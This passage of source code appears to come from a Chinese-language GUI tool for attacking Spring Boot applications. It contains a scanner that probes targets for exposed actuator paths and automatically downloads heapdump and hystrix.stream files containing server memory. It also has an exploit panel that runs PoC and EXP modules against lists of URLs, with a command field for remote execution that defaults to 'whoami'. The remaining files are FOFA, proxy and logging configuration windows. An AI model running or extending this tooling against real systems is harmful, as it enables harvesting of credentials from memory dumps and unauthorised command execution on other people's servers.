log_status == 1: 130 | self.logmethod.errorlogs(back) 131 | else: 132 | url = self.urlmethod.StandURL(check[-1]) 133 | try: 134 | self.SpringBootScan(ua,url,dir_file,proxy_status,log_status,proxies) 135 | self.count() 136 | except: 137 | back = "{url}SpringBoot信息泄露扫描中的未知错误".format(url=url) 138 | self.info_text.insert(tk.INSERT, back) 139 | self.info_text.insert(tk.INSERT, '\n') 140 | if log_status == 1: 141 | self.logmethod.errorlogs(back) 142 | self.btnScan.config(state="normal") 143 | def download(self): 144 | try: 145 | threadDownload = threading.Thread(target=self.Download) 146 | threadDownload.setDaemon(True) 147 | threadDownload.start() 148 | except Exception as e : 149 | messagebox.showinfo('error', f'unkown error\n{e}') 150 | def Download(self): 151 | path1 = "actuator/heapdump" 152 | path2 = "heapdump" 153 | path3 = "heapdump.json" 154 | path4 = "gateway/actuator/heapdump" 155 | path5 = "hystrix.stream" 156 | 157 | check200 = "" 158 | check401 = "" 159 | 160 | proxies = "" 161 | 162 | self.btnDownload.config(state="disable") 163 | switch = self.switchCheck() 164 | proxy_status = switch['proxyswitch'] 165 | log_status = switch['logswitch'] 166 | if proxy_status != 0: 167 | proxyconfig = self.configLoad.ProxyConfigRead() 168 | ip = proxyconfig['ip'] 169 | port = proxyconfig['port'] 170 | proxy = "{ip}:{port}".format(ip=ip,port=port) 171 | proxies = { 172 | "http": "http://%(proxy)s/" % {'proxy': proxy}, 173 | "https": "http://%(proxy)s/" % {'proxy': proxy} 174 | } 175 | # ua = self.User_Agent.get() 176 | # if ua == "自动": 177 | # ua = self.ua.UserAgent() 178 | check = self.downloadInputCheck() 179 | if check == False: 180 | messagebox.showerror("错误","地址信息错误,请填写完整URL!\neg:https://www.baidu.com") 181 | else: 182 | if check[0] == "isFile": 183 | urls = check[-1] 184 | for i in urls: 185 | i = self.urlmethod.StandURL(i) 186 | filedir = i.split("/")[-2].replace(":",'.') 187 | save_path = './save/{filedir}'.format(filedir=filedir) 188 | try: 189 | self.SpringBootDump(i, path1, 'actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) 190 | self.SpringBootDump(i, path2, 'heapdump', save_path,proxy_status, log_status, proxies,check200) 191 | self.SpringBootDump(i, path3, 'heapdump.json', save_path,proxy_status, log_status, proxies,check200) 192 | self.SpringBootDump(i, path4, 'gateway.actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) 193 | self.SpringBootDump(i, path5, 'hystrix.stream', save_path,proxy_status, log_status, proxies,(check200 or check401)) 194 | except: 195 | back = "{url} SpringBoot信息泄露下载中的未知错误".format(url=i) 196 | self.info_download.insert(tk.INSERT, back) 197 | self.info_download.insert(tk.INSERT, '\n') 198 | if log_status == 1: 199 | self.logmethod.errorlogs(back) 200 | else: 201 | url = self.urlmethod.StandURL(check[-1]) 202 | filedir = url.split("/")[-2].replace(":",'.') 203 | save_path = './save/{filedir}'.format(filedir=filedir) 204 | try: 205 | self.SpringBootDump(url, path1,'actuator.heapdump',save_path,proxy_status,log_status,proxies,check200) 206 | self.SpringBootDump(url, path2, 'heapdump', save_path,proxy_status, log_status, proxies,check200) 207 | self.SpringBootDump(url, path3, 'heapdump.json', save_path,proxy_status, log_status, proxies,check200) 208 | self.SpringBootDump(url, path4, 'gateway.actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) 209 | self.SpringBootDump(url, path5, 'hystrix.stream', save_path,proxy_status, log_status, proxies,(check200 or check401)) 210 | except: 211 | back = "{url} SpringBoot信息泄露下载中的未知错误".format(url=url) 212 | self.info_download.insert(tk.INSERT, back) 213 | self.info_download.insert(tk.INSERT, '\n') 214 | if log_status == 1: 215 | self.logmethod.errorlogs(back) 216 | self.btnDownload.config(state="normal") 217 | def SpringBootDump(self,url,path,fname,dumpdir,proxyStaus,logStaus,proxies,checkRqe): 218 | path = url + path 219 | if str(requests.head(path)) != checkRqe: 220 | back = f"[-] 在 {path} 未发现{fname}敏感文件泄露 " .format(path=path,fname=fname) 221 | self.info_download.insert(tk.INSERT, back) 222 | self.info_download.insert(tk.INSERT, '\n') 223 | else: 224 | back = f"[+] 在 {path} 发现{fname}敏感文件泄露 ".format(path=path,fname=fname) 225 | self.info_download.insert(tk.INSERT, back) 226 | self.info_download.insert(tk.INSERT, '\n') 227 | if not os.path.exists(dumpdir): 228 | os.mkdir(dumpdir) 229 | self.DownloadFile(path,fname,proxyStaus, proxies) 230 | shutil.move(fname, dumpdir) 231 | if logStaus == 1: 232 | self.logmethod.dumplogs(back) 233 | def DownloadFile(self,url, fname, proxyStaus, proxies): 234 | requests.packages.urllib3.disable_warnings() 235 | if proxyStaus == 1: 236 | resp = requests.get(url, timeout=6, stream=True, verify=False, proxies=proxies) 237 | else: 238 | resp = requests.get(url, timeout=6, stream=True, verify=False) 239 | total = int(resp.headers.get('content-length', 0)) 240 | with open(fname, 'wb') as file, tqdm( 241 | desc=fname, 242 | total=total, 243 | unit='iB', 244 | unit_scale=True, 245 | unit_divisor=1024, 246 | ) as bar: 247 | for data in resp.iter_content(chunk_size=1024): 248 | size = file.write(data) 249 | bar.update(size) 250 | def downloadPath(self): 251 | self.dirsPath(self.url_download) 252 | def urlsPath(self): 253 | self.dirsPath(self.url) 254 | def dictPath(self): 255 | self.dirsPath(self.info_dict) 256 | def dirsPath(self,entry): 257 | filetypes=[('txt','*.txt'),('all','*.*')] 258 | path = filedialog.askopenfilename(title='文件选择',filetypes=filetypes) 259 | # systype 260 | if self.sysType == "Windows": 261 | # windows 262 | path = path.replace('/','\\') 263 | else: 264 | # linux 265 | path = path.replace('\\','/') 266 | entry.delete(0,'end') 267 | entry.insert('insert',path) 268 | def count(self): 269 | count = len(open("./save/urlout.txt", 'r').readlines()) 270 | if count >= 1: 271 | show = "[→] 发现目标URL存在SpringBoot敏感信息泄露,已经导出至 urlout.txt ,共%d行记录" % count 272 | self.info_text.insert(tk.INSERT,show) 273 | self.info_text.insert(tk.INSERT, '\n') 274 | def SpringBootScan(self,ua,url,dir_file,proxyStaus,logStaus,proxies): 275 | if not os.path.exists("./save/urlout.txt"): 276 | f = open("./save/urlout.txt","a") 277 | f.close() 278 | u = self.urlmethod.StandURL(url) 279 | # 读取泄露字典 280 | with open(dir_file, 'r') as web: 281 | webs = web.readlines() 282 | for web in webs: 283 | web = web.strip() 284 | url = u + web 285 | try: 286 | header = {"User-Agent": ua} 287 | requests.packages.urllib3.disable_warnings() 288 | if proxyStaus == 1: 289 | r = requests.get(url=url, headers=header, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 290 | else: 291 | r = requests.get(url=url, headers=header, timeout=6, verify=False) # 设置超时6秒 292 | if r.status_code == 503: 293 | pass 294 | elif r.status_code == 200: 295 | back = "[+] 状态码%d" % r.status_code + ' ' + "信息泄露URL为:" + url + ' ' + "页面长度为:" + str(len(r.content)) 296 | self.info_text.insert(tk.INSERT,back) 297 | self.info_text.insert(tk.INSERT, '\n') 298 | f = open("./save/urlout.txt", "a") 299 | f.write(back + '\n') 300 | f.close() 301 | else: 302 | back = "[-] 状态码%d" % r.status_code + ' ' + "无法访问URL为:" + url 303 | self.info_text.insert(tk.INSERT,back) 304 | self.info_text.insert(tk.INSERT, '\n') 305 | except: 306 | back = "[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!" 307 | self.info_text.insert(tk.INSERT,back) 308 | self.info_text.insert(tk.INSERT, '\n') 309 | break 310 | if logStaus == 1: 311 | self.logmethod.sacnlogs(back) 312 | def scanInputCheck(self): 313 | check = InputCheck.InputCheck() 314 | 315 | url = self.url.get() 316 | # ua = self.User_Agent.get() 317 | dicts = self.info_dict.get() 318 | 319 | dicts_check = check.FileOrUrl(dicts) 320 | 321 | # ua_check = check.isNull(ua) 322 | 323 | if dicts_check != "isFile": 324 | return False 325 | else: 326 | url_check = check.FileOrUrl(url) 327 | if url_check == "isFile" : 328 | with open(url,'r') as f: 329 | urls = f.read().strip('\n').split("\n") 330 | return ["isFile",urls] 331 | elif url_check == "isURL": 332 | return ["isURL",url] 333 | else: 334 | return False 335 | def downloadInputCheck(self): 336 | check = InputCheck.InputCheck() 337 | url = self.url_download.get() 338 | url_check = check.isNull(url) 339 | 340 | if url_check == True: 341 | return False 342 | else: 343 | url_check = check.FileOrUrl(url) 344 | if url_check == "isFile": 345 | with open(url,'r') as f: 346 | urls = f.read().strip('\n').split("\n") 347 | return ["isFile",urls] 348 | elif url_check == "isURL": 349 | return ["isURL",url] 350 | else: 351 | return False 352 | def switchCheck(self): 353 | proxyconfig = self.configLoad.ProxyConfigRead() 354 | logsconfig = self.configLoad.LogsConfigRead() 355 | proxyswitch = proxyconfig['switch'] 356 | logswitch = logsconfig['switch'] 357 | return {"proxyswitch":proxyswitch,"logswitch":logswitch} 358 | if __name__ == "__main__": 359 | pass 360 | 361 | -------------------------------------------------------------------------------- /pages/VulnPage.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import threading 3 | from tkinter import messagebox, ttk, filedialog 4 | 5 | import tkinter.font as tkFont 6 | import tkinter as tk 7 | 8 | # try: 9 | from core import core 10 | # except: 11 | # messagebox.showerror("错误","core加载出错,请检查杀毒软件是否删除文件!") 12 | 13 | from util import SystemCheck 14 | from util import URLMethod 15 | from util import RandomUA 16 | from util import JsonMethod 17 | from util import InputCheck 18 | from util import ProxyCheck 19 | from util import LogsMethod 20 | 21 | from com import Banner 22 | 23 | class VulnPage: 24 | def __init__(self, windows): 25 | # 操作系统类型 26 | self.sysType = SystemCheck.SystemType() 27 | # 功能中proxy logs载入配置 28 | self.urlmethod = URLMethod.URLMethod() 29 | 30 | self.log = LogsMethod.LogsMethod() 31 | 32 | self.vulns = JsonMethod.JsonMethod() 33 | 34 | self.proxyCheck = ProxyCheck.ProxyCheck() 35 | # 加载扫描核心 36 | self.core = core.core() 37 | self.vulnconfig = self.vulns.VulnsConfigRead() 38 | self.pocpath = self.vulnconfig["vulns"]['pocList'] 39 | self.exppath = self.vulnconfig["vulns"]['expList'] 40 | self.standmodel = self.vulnconfig["model"]["standmodel"] 41 | self.asyncmodel = self.vulnconfig["model"]["asyncmodel"] 42 | # 漏洞扫描 43 | tk.Label(windows, text="URL").place(x=50, y=30) 44 | tk.Label(windows, text="User-Agent").place(x=20, y=60) 45 | tk.Label(windows, text="PoC").place(x=55, y=90) 46 | 47 | tk.Button(windows, text="浏览", fg="white", bg="gray", activeforeground="white", command=self.urlsPath, 48 | activebackground="black", cursor="hand2").place(x=550, y=25) 49 | 50 | # 漏洞扫描控件 51 | self.pocurl = tk.Entry(windows, width=60, bg='Ivory') 52 | self.pocurl.place(x=100, y=30) 53 | 54 | self.User_Agent_EXP = ttk.Combobox(windows, width=58) 55 | ua_list = ['自动'] 56 | self.ua = RandomUA.RandomUA() 57 | uas = self.ua.UserAgentList(100) 58 | for i in uas: 59 | ua_list.append(i) 60 | self.User_Agent_EXP['value'] = ua_list 61 | self.User_Agent_EXP.current(0) 62 | self.User_Agent_EXP.place(x=100, y=60) 63 | 64 | self.info_pocs = ttk.Combobox(windows, width=58) 65 | self.info_pocs['value'] = self.pocpath 66 | self.info_pocs.current(0) 67 | self.info_pocs.place(x=100, y=90) 68 | 69 | self.BtnPoC = tk.Button(windows, text="扫描", width=15, fg="white", font=tkFont.Font(size=12),command=self.btnPoC, 70 | height=1, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") 71 | self.BtnPoC.place(x=250, y=118) 72 | # 反馈框 73 | self.vbar_poc = ttk.Scrollbar(windows) 74 | self.info_text_poc = tk.Text(windows, width=80, height=30, yscrollcommand=self.vbar_poc.set) 75 | self.info_text_poc.place(x=30, y=150) 76 | self.info_text_poc.insert(tk.INSERT, Banner.PoC()) 77 | self.vbar_poc.config(command=self.info_text_poc.yview) 78 | self.vbar_poc.pack(side=tk.RIGHT, fill="y") 79 | 80 | # 漏洞利用 81 | tk.Button(windows, text="浏览", fg="white", bg="gray", activeforeground="white", command=self.ExpPath, 82 | activebackground="black", cursor="hand2").place(x=1135, y=25) 83 | 84 | tk.Label(windows, text="利用地址").place(x=610, y=30) 85 | self.url_exp = tk.Entry(windows, width=60, bg='Ivory') 86 | self.url_exp.place(x=700, y=30) 87 | 88 | tk.Label(windows, text="执行命令").place(x=610, y=60) 89 | self.cmd_exp = tk.Entry(windows, width=60, bg='Ivory') 90 | self.cmd_exp.place(x=700, y=60) 91 | self.cmd_exp.insert(0, "whoami") 92 | 93 | tk.Label(windows, text="EXP").place(x=610, y=90) 94 | 95 | self.info_exps = ttk.Combobox(windows, width=58) 96 | self.info_exps['value'] = self.exppath 97 | self.info_exps.current(0) 98 | self.info_exps.place(x=700, y=90) 99 | 100 | self.BtnEXP = tk.Button(windows, text="EXP", width=15, fg="white", font=tkFont.Font(size=12),command=self.btnEXP, 101 | height=1, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") 102 | self.BtnEXP.place(x=850, y=118) 103 | # 反馈框 104 | self.vbar_exp = ttk.Scrollbar(windows) 105 | self.info_text_exp = tk.Text(windows, width=80, height=30, yscrollcommand=self.vbar_exp.set) 106 | self.info_text_exp.place(x=610, y=150) 107 | self.info_text_exp.insert(tk.INSERT, Banner.EXP()) 108 | self.vbar_exp.config(command=self.info_text_exp.yview) 109 | self.vbar_exp.pack(side=tk.LEFT, fill="y") 110 | # 刷新按钮 111 | tk.Button(windows, text="F", fg="white", bg="gray", activeforeground="white", command=self.RefreshVar, 112 | activebackground="black", cursor="hand2").place(x=30, y=85) 113 | def RefreshVar(self): 114 | self.vulnconfig = self.vulns.VulnsConfigRead() 115 | self.pocpath = self.vulnconfig["vulns"]['pocList'] 116 | self.exppath = self.vulnconfig["vulns"]['expList'] 117 | self.info_pocs['value'] = self.pocpath 118 | self.info_pocs.current(0) 119 | self.info_exps['value'] = self.exppath 120 | self.info_exps.current(0) 121 | def PoC(self): 122 | self.BtnPoC.config(state='disable') 123 | attack = "PoC" 124 | # 日志功能 125 | log = self.vulns.LogsConfigRead() 126 | logSwitch = log['switch'] 127 | # 代理配置 128 | proxy = self.vulns.ProxyConfigRead() 129 | ProxyStute = proxy["switch"] 130 | proxies = proxy['ip'] + ":" + proxy['port'] 131 | proxies = { 132 | "http": "http://%(proxy)s/" % {'proxy': proxies}, 133 | "https": "http://%(proxy)s/" % {'proxy': proxies} 134 | } 135 | # 重新加载配置 136 | self.vulnconfig = self.vulns.VulnsConfigRead() 137 | 138 | self.pocpath = self.vulnconfig["vulns"]['pocList'] 139 | self.exppath = self.vulnconfig["vulns"]['expList'] 140 | 141 | self.vulnpath = self.vulnconfig["path"] 142 | self.standpath = self.vulnpath["standpath"] 143 | self.asyncpath = self.vulnpath["asyncpath"] 144 | 145 | model = self.vulnconfig["modelSet"] 146 | 147 | ua = self.User_Agent_EXP.get() 148 | poc = self.info_pocs.get() 149 | cmd = self.cmd_exp.get() 150 | pymodel = self.standmodel[0] 151 | jsonmodel = self.standmodel[1] 152 | yamlmodel = self.standmodel[2] 153 | asyncmodel = self.asyncmodel 154 | if ua == "自动": 155 | ua = self.ua.UserAgent() 156 | check = self.PoCInputCheck() 157 | if check == False: 158 | messagebox.showerror("错误", "URL信息错误!") 159 | else: 160 | # 载入地址 161 | List_Url = [] 162 | if check[0] == "isFile": 163 | urls = check[-1] 164 | for i in urls: 165 | i = self.urlmethod.StandURL(i) 166 | List_Url.append(i) 167 | else: 168 | url = self.urlmethod.StandURL(check[-1]) 169 | List_Url.append(url) 170 | if model == pymodel: 171 | for i in List_Url: 172 | try: 173 | data = self.core.pyScan(i,proxies,poc,ProxyStute,attack,cmd) 174 | self.info_text_poc.insert(tk.INSERT, data) 175 | self.info_text_poc.insert(tk.INSERT, '\n') 176 | except Exception as e: 177 | data = f"未知错误 {e}" 178 | self.info_text_poc.insert(tk.INSERT, data) 179 | self.info_text_poc.insert(tk.INSERT, '\n') 180 | if logSwitch == 1: 181 | if "error" not in data: 182 | self.log.vulnlogs(data) 183 | else: 184 | self.log.errorlogs(data) 185 | elif model == asyncmodel: 186 | for i in List_Url: 187 | try: 188 | data = self.core.asyncScan(i,proxies,poc,ProxyStute,attack) 189 | self.info_text_poc.insert(tk.INSERT, data) 190 | self.info_text_poc.insert(tk.INSERT, '\n') 191 | except Exception as e: 192 | data = f"未知错误 {e}" 193 | self.info_text_poc.insert(tk.INSERT, data) 194 | self.info_text_poc.insert(tk.INSERT, '\n') 195 | if logSwitch == 1: 196 | if "error" not in data: 197 | self.log.vulnlogs(data) 198 | else: 199 | self.log.errorlogs(data) 200 | elif model == jsonmodel or model == yamlmodel: 201 | for i in List_Url: 202 | data = self.core.YamlOrJsonRequest(poc,model) 203 | self.info_text_poc.insert(tk.INSERT, data) 204 | self.info_text_poc.insert(tk.INSERT, '\n') 205 | if logSwitch == 1: 206 | self.log.vulnlogs(data) 207 | else: 208 | return messagebox.showerror("错误", "model type error!\nYou can view the vulns.json and try again!") 209 | self.BtnPoC.config(state='normal') 210 | def EXP(self): 211 | self.BtnEXP.config(state='disable') 212 | attack = "EXP" 213 | # 日志功能 214 | log = self.vulns.LogsConfigRead() 215 | logSwitch = log['switch'] 216 | # 代理配置 217 | proxy = self.vulns.ProxyConfigRead() 218 | ProxyStute = proxy["switch"] 219 | proxies = proxy['ip'] + ":" + proxy['port'] 220 | proxies = { 221 | "http": "http://%(proxy)s/" % {'proxy': proxies}, 222 | "https": "http://%(proxy)s/" % {'proxy': proxies} 223 | } 224 | # 重新加载配置 225 | self.vulnconfig = self.vulns.VulnsConfigRead() 226 | 227 | self.pocpath = self.vulnconfig["vulns"]['pocList'] 228 | self.exppath = self.vulnconfig["vulns"]['expList'] 229 | 230 | self.vulnpath = self.vulnconfig["path"] 231 | self.standpath = self.vulnpath["standpath"] 232 | self.asyncpath = self.vulnpath["asyncpath"] 233 | 234 | pymodel = self.standmodel[0] 235 | asyncmodel = self.asyncmodel 236 | 237 | model = self.vulnconfig["modelSet"] 238 | 239 | ua = self.User_Agent_EXP.get() 240 | exp = self.info_exps.get() 241 | cmd = self.cmd_exp.get() 242 | if ua == "自动": 243 | ua = self.ua.UserAgent() 244 | check = self.EXPInputCheck() 245 | if check == False: 246 | messagebox.showerror("错误", "URL或命令信息错误!") 247 | else: 248 | # 载入地址 249 | List_Url = [] 250 | if check[0] == "isFile": 251 | urls = check[-1] 252 | for i in urls: 253 | i = self.urlmethod.StandURL(i) 254 | List_Url.append(i) 255 | else: 256 | url = self.urlmethod.StandURL(check[-1]) 257 | List_Url.append(url) 258 | if model == pymodel: 259 | for i in List_Url: 260 | data = self.core.pyScan(i,proxies,exp,ProxyStute,attack,cmd) 261 | self.info_text_exp.insert(tk.INSERT, data) 262 | self.info_text_exp.insert(tk.INSERT, '\n') 263 | if logSwitch == 1: 264 | if "error" not in data: 265 | self.log.vulnlogs(data) 266 | else: 267 | self.log.errorlogs(data) 268 | elif model == asyncmodel: 269 | for i in List_Url: 270 | data = self.core.asyncScan(i,proxies,exp,ProxyStute,attack) 271 | self.info_text_exp.insert(tk.INSERT, data) 272 | self.info_text_exp.insert(tk.INSERT, '\n') 273 | if logSwitch == 1: 274 | if "error" not in data: 275 | self.log.vulnlogs(data) 276 | else: 277 | self.log.errorlogs(data) 278 | else: 279 | return messagebox.showerror("错误","model type error!noly support py or async!\nYou can change model in the vulns.json and try again!") 280 | self.BtnEXP.config(state='normal') 281 | def btnPoC(self): 282 | try: 283 | threadFofa = threading.Thread(target=self.PoC) 284 | threadFofa.setDaemon(True) 285 | threadFofa.start() 286 | # threadFofa.join() 287 | except Exception as e: 288 | messagebox.showinfo('error', f'unkown error\n{e}') 289 | def btnEXP(self): 290 | try: 291 | threadFofa = threading.Thread(target=self.EXP) 292 | threadFofa.setDaemon(True) 293 | threadFofa.start() 294 | # threadFofa.join() 295 | except Exception as e: 296 | messagebox.showinfo('error', f'unkown error\n{e}') 297 | # messagebox.showinfo("提示","因不可抗因素,功能未开放······") 298 | def PoCInputCheck(self): 299 | check = InputCheck.InputCheck() 300 | url = self.pocurl.get() 301 | url_check = check.isNull(url) 302 | if url_check == True: 303 | return False 304 | else: 305 | url_check = check.FileOrUrl(url) 306 | if url_check == "isFile": 307 | with open(url, 'r') as f: 308 | urls = f.read().strip('\n').split("\n") 309 | return ["isFile", urls] 310 | elif url_check == "isURL": 311 | return ["isURL", url] 312 | else: 313 | return False 314 | 315 | def EXPInputCheck(self): 316 | check = InputCheck.InputCheck() 317 | url = self.url_exp.get() 318 | cmd = self.cmd_exp.get() 319 | url_check = check.isNull(url) 320 | cmd_check = check.isNull(cmd) 321 | if url_check == True or cmd_check == True: 322 | return False 323 | else: 324 | url_check = check.FileOrUrl(url) 325 | if url_check == "isFile": 326 | with open(url, 'r') as f: 327 | urls = f.read().strip('\n').split("\n") 328 | return ["isFile", urls] 329 | elif url_check == "isURL": 330 | return ["isURL", url] 331 | else: 332 | return False 333 | 334 | def ExpPath(self): 335 | self.dirsPath(self.url_exp) 336 | def urlsPath(self): 337 | self.dirsPath(self.pocurl) 338 | def dirsPath(self, entry): 339 | filetypes = [('txt', '*.txt'), ('all', '*.*')] 340 | path = filedialog.askopenfilename(title='文件选择', filetypes=filetypes) 341 | # systype 342 | if self.sysType == "Windows": 343 | # windows 344 | path = path.replace('/', '\\') 345 | else: 346 | # linux 347 | path = path.replace('\\', '/') 348 | entry.delete(0, 'end') 349 | entry.insert('insert', path) 350 | def jsonPoCLoad(self): 351 | pass 352 | 353 | if __name__ == "__main__": 354 | pass 355 | -------------------------------------------------------------------------------- /pages/config/FofaConfig.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from tkinter import messagebox 4 | from tkinter import * 5 | import tkinter.font as tkFont 6 | import os 7 | 8 | from util import JsonMethod 9 | 10 | class FofaConfig: 11 | def __init__(self): 12 | self.fofapath = './config/fofa.json' 13 | self.configinit(self.fofapath) 14 | def configinit(self,path): 15 | self.config = JsonMethod.JsonMethod() 16 | if not os.path.exists(path): 17 | data = { 18 | "api":"https://fofa.info", 19 | "email":"", 20 | "key":"", 21 | "size":"" 22 | } 23 | self.config.JsonWrite(data,path) 24 | def page(self): 25 | 26 | self.configinit(self.fofapath) 27 | 28 | self.window = Toplevel(name='fofa') 29 | self.window.title("Fofa设置") 30 | self.window.geometry("380x210") 31 | self.window.resizable(0, 0) 32 | 33 | # 初始化json读取 34 | fofaconfig = self.config.JsonRead(self.fofapath) 35 | 36 | Label(self.window, text="fofa api:", fg="black", font=("宋体", 12)).place(x=20, y=30) 37 | self.fofa_api_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 38 | self.fofa_api_entry.place(x=120, y=30) 39 | 40 | self.fofa_api_entry.delete(0, 'end') 41 | self.fofa_api_entry.insert('insert', fofaconfig['api']) 42 | 43 | Label(self.window, text="fofa email:", fg="black", font=("宋体", 12)).place(x=20, y=60) 44 | self.fofa_email_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 45 | self.fofa_email_entry.place(x=120, y=60) 46 | 47 | self.fofa_email_entry.delete(0, 'end') 48 | self.fofa_email_entry.insert('insert', fofaconfig['email']) 49 | 50 | Label(self.window, text="fofa key:", fg="black", font=("宋体", 12)).place(x=20, y=90) 51 | self.fofa_key_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 52 | self.fofa_key_entry.place(x=120, y=90) 53 | 54 | self.fofa_key_entry.delete(0, 'end') 55 | self.fofa_key_entry.insert('insert', fofaconfig['key']) 56 | 57 | Label(self.window, text="fofa size:", fg="black", font=("宋体", 12)).place(x=20, y=120) 58 | self.fofa_size_entry = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 59 | self.fofa_size_entry.place(x=120, y=120) 60 | 61 | self.fofa_size_entry.delete(0, 'end') 62 | self.fofa_size_entry.insert('insert', fofaconfig['size']) 63 | 64 | # 保存与取消 65 | Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, 66 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 67 | cursor="hand2").place(x=50, y=160) 68 | 69 | Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, 70 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 71 | cursor="hand2").place(x=240, y=160) 72 | self.window.mainloop() 73 | def update(self): 74 | api = self.fofa_api_entry.get() 75 | email = self.fofa_email_entry.get() 76 | key = self.fofa_key_entry.get() 77 | size = self.fofa_size_entry.get() 78 | data = { 79 | "api":api, 80 | "email":email, 81 | "key":key, 82 | "size":size 83 | } 84 | self.config = JsonMethod.JsonMethod() 85 | self.config.JsonWrite(data,self.fofapath) 86 | messagebox.showinfo("更新","更新成功!") 87 | if __name__ == "__main__": 88 | pass 89 | 90 | -------------------------------------------------------------------------------- /pages/config/LogConfig.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | 3 | from tkinter import * 4 | from tkinter import messagebox,ttk 5 | import tkinter.font as tkFont 6 | import os 7 | 8 | from util import JsonMethod 9 | 10 | class LogConfig: 11 | def __init__(self): 12 | self.logpath = './config/logs.json' 13 | self.configinit(self.logpath) 14 | def configinit(self,path): 15 | self.config = JsonMethod.JsonMethod() 16 | if not os.path.exists(path): 17 | data = { 18 | "switch": 0, 19 | "scanlog_path": "./logs/urls.log", 20 | "vulnlog_path": "./logs/vuln.log", 21 | "dumplog_path": "./logs/dump.log", 22 | "errorlog_path": "./logs/error.log" 23 | } 24 | self.config.JsonWrite(data,path) 25 | def page(self): 26 | self.configinit(self.logpath) 27 | # 初始化json读取 28 | logconfig = self.config.JsonRead(self.logpath) 29 | 30 | self.window = Toplevel(name='log') 31 | self.window.title("日志设置") 32 | self.window.geometry("400x240") 33 | self.window.resizable(0, 0) 34 | 35 | self.status_var = StringVar(self.window) 36 | self.proxy_status = ttk.Checkbutton(self.window,variable=self.status_var,text="启用",onvalue=1,offvalue=0,cursor="hand2",command=self.switchCheck) 37 | self.proxy_status.place(x=160,y=20) 38 | self.status_var.set(logconfig['switch']) 39 | 40 | Label(self.window, text="scanlog_path:", fg="black", font=("宋体", 12)).place(x=20, y=60) 41 | self.scanlog_path = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 42 | self.scanlog_path.place(x=130, y=60) 43 | 44 | self.scanlog_path.delete(0, 'end') 45 | self.scanlog_path.insert('insert', logconfig['scanlog_path']) 46 | 47 | Label(self.window, text="vulnlog_path:", fg="black", font=("宋体", 12)).place(x=20, y=90) 48 | self.vulnlog_path = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 49 | self.vulnlog_path.place(x=130, y=90) 50 | 51 | self.vulnlog_path.delete(0, 'end') 52 | self.vulnlog_path.insert('insert', logconfig['vulnlog_path']) 53 | 54 | Label(self.window, text="dumplog_path:", fg="black", font=("宋体", 12)).place(x=20, y=120) 55 | self.dumplog_path = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 56 | self.dumplog_path.place(x=130, y=120) 57 | 58 | self.dumplog_path.delete(0, 'end') 59 | self.dumplog_path.insert('insert', logconfig['dumplog_path']) 60 | 61 | Label(self.window, text="errorlog_path:", fg="black", font=("宋体", 12)).place(x=20, y=150) 62 | self.errorlog_path = Entry(self.window, width=22, font=tkFont.Font(size=12), bg='white') 63 | self.errorlog_path.place(x=130, y=150) 64 | 65 | self.errorlog_path.delete(0, 'end') 66 | self.errorlog_path.insert('insert', logconfig['errorlog_path']) 67 | 68 | # 保存与取消 69 | Button(self.window, text="保存", font=tkFont.Font(size=12), width=9, command=self.update, 70 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 71 | cursor="hand2").place(x=50, y=190) 72 | 73 | Button(self.window, text="取消", font=tkFont.Font(size=12), width=9, command=self.window.destroy, 74 | height=1, fg="white", bg="gray", activeforeground="white", activebackground="black", 75 | cursor="hand2").place(x=240, y=190) 76 | 77 | self.switchCheck() 78 | 79 | self.window.mainloop() 80 | def update(self): 81 | switch = int(self.status_var.get()) 82 | scanlog_path = self.scanlog_path.get() 83 | vulnlog_path = self.vulnlog_path.get() 84 | dumplog_path = self.dumplog_path.get() 85 | errorlog_path = self.errorlog_path.get() 86 | data = { 87 | "switch": switch, 88 | "scanlog_path": scanlog_path, 89 | "vulnlog_path": vulnlog_path, 90 | "dumplog_path": dumplog_path, 91 | "errorlog_path": errorlog_path 92 | } 93 | self.config = JsonMethod.JsonMethod() 94 | self.config.JsonWrite(data,self.logpath) 95 | messagebox.showinfo("更新","更新成功!") 96 | def switchCheck(self): 97 | switch = int(self.status_var.get()) 98 | if switch == 0: 99 | self.scanlog_path.config(state="disable") 100 | self.vulnlog_path.config(state="disable") 101 | self.dumplog_path.config(state='disable') 102 | self.errorlog_path.config(state='disable') 103 | else: 104 | self.scanlog_path.config(state="normal") 105 | self.vulnlog_path.config(state="normal") 106 | self.dumplog_path.config(state="normal") 107 | self.errorlog_path.config(state="normal") 108 | if __name__ == "__main__": 109 | pass 110 | 111 | -------------------------------------------------------------------------------- /pages/config/ProxyConfig.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import threading 3 | from tkinter import * 4 | from tkinter import messagebox, ttk, filedialog 5 | import tkinter.font as tkFont 6 | import os 7 | 8 | from util import JsonMethod 9 | from util import ProxyCheck 10 | from util import SystemCheck 11 | 12 | class ProxyConfig: 13 | def __init__(self): 14 | self.proxypath = './config/proxy.json' 15 | self.configinit(self.proxypath) 16 | self.sysType = SystemCheck.SystemType() 17 | def configinit(self,path): 18 | 19 | self.config = JsonMethod.JsonMethod() 20 | if not os.path.exists(path): 21 | data = { 22 | "switch": 0, 23 | "type": ["unkown","HTTP","SOCK5"], 24 | "ip": "", 25 | "port": "", 26 | "user": "", 27 | "passwd": "" 28 | } 29 | self.config.JsonWrite(data,path) 30 | def page(self): 31 | 32 | 